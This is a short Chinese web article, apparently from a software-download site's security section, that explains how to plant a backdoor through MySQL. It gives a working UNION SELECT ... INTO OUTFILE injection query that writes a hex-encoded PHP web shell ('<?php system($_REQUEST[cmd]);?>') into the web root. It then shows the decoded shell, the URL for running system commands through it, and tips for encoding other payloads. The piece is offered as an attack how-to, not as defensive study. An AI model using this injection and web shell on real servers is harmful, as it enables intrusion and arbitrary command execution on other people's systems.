运用Mysql语句生成后门具体方法pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范运用Mysql语句生成后门具体方法

运用Mysql语句生成后门具体方法


2009/5/5  编辑:佚名 来源:本站整理  关键词:

运用Mysql语句生成后门具体方法

 

可以通过MySQL(和PHP搭配之最佳组合) 的语句生成后门木马的方法:

SELECT * FROM `vbb_strikes` WHERE 1 union select
2,3,0x3C3F7068702073797374656D28245F52455155455
3545B636D645D293B3F3E
from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

  可以通过MySQL(和PHP搭配之最佳组合) 的注入或者就在 phpmyadmin 里运行上面语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件程序,内容为本来的 vbb_strikes 内容,后面紧跟着:

2 3 <?php system($_REQUEST[cmd]);?>

  再可以通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以能够执行系统systemdos命令!

  问:那串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么?

  答:就是下图代码中的十六进制编码,

<?php system($_REQUEST[cmd]);?>

  如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能够执行了!如果您有其它语名要弄,可以能够到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连就在一起就可以能够了!

相关文章
  • NASA证实人类能运用古代技术变成有超能力的人
  • 王者荣耀花木兰技能运用技巧全面分析
  • 【美军成功运用“遥视”】找到在非洲失踪的飞机
  • cfbarrett翔龙免费领取,cf8月精英军火库怎么成为幸运用户
  • 运用win2008任务计划功能
  • 运用Mysql语句生成后门具体方法
  • 运用Ajax里的高级XSS技术
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图